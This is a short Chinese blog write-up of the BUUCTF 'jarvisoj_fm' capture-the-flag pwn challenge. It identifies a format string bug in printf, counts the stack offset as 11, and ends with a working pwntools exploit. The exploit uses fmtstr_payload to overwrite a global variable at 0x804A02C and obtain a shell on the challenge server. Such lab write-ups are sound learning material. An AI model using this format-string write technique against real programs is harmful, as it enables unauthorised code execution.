BUUCTF-PWN-jarvisoj_fm

92次阅读
没有评论

共计 338 个字符,预计需要花费 1 分钟才能阅读完成。

提醒:本文最后更新于 2024-08-30 14:49,文中所关联的信息可能已发生改变,请知悉!

checksec

BUUCTF-PWN-jarvisoj_fm

IDA

BUUCTF-PWN-jarvisoj_fm

main 函数中可以看到,只要满足第 12 行的 if 条件,就可以拿到 shell。而第 9 行中的read 操作不可溢出,因为 buf 的长度为 0x5C,但读入限制的长度为0x50,所以不能进行栈溢出。但是第 10 行使用了printf 函数,那么我们可以考虑使用格式化字符串漏洞,从而使得下面的 if 条件成立。

偏移计算

BUUCTF-PWN-jarvisoj_fm

0x61616161代表了aaaa,所以可以数一下偏移为 11。

EXP

from pwn import *

p = remote('node4.buuoj.cn', 27200)

x_addr = 0x804A02C

payload = fmtstr_payload(11, {x_addr: 4})

p.sendline(payload)
p.interactive()

结果

BUUCTF-PWN-jarvisoj_fm

正文完
 0
icvuln
版权声明:本站原创文章,由 icvuln 于2022-02-01发表,共计338字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)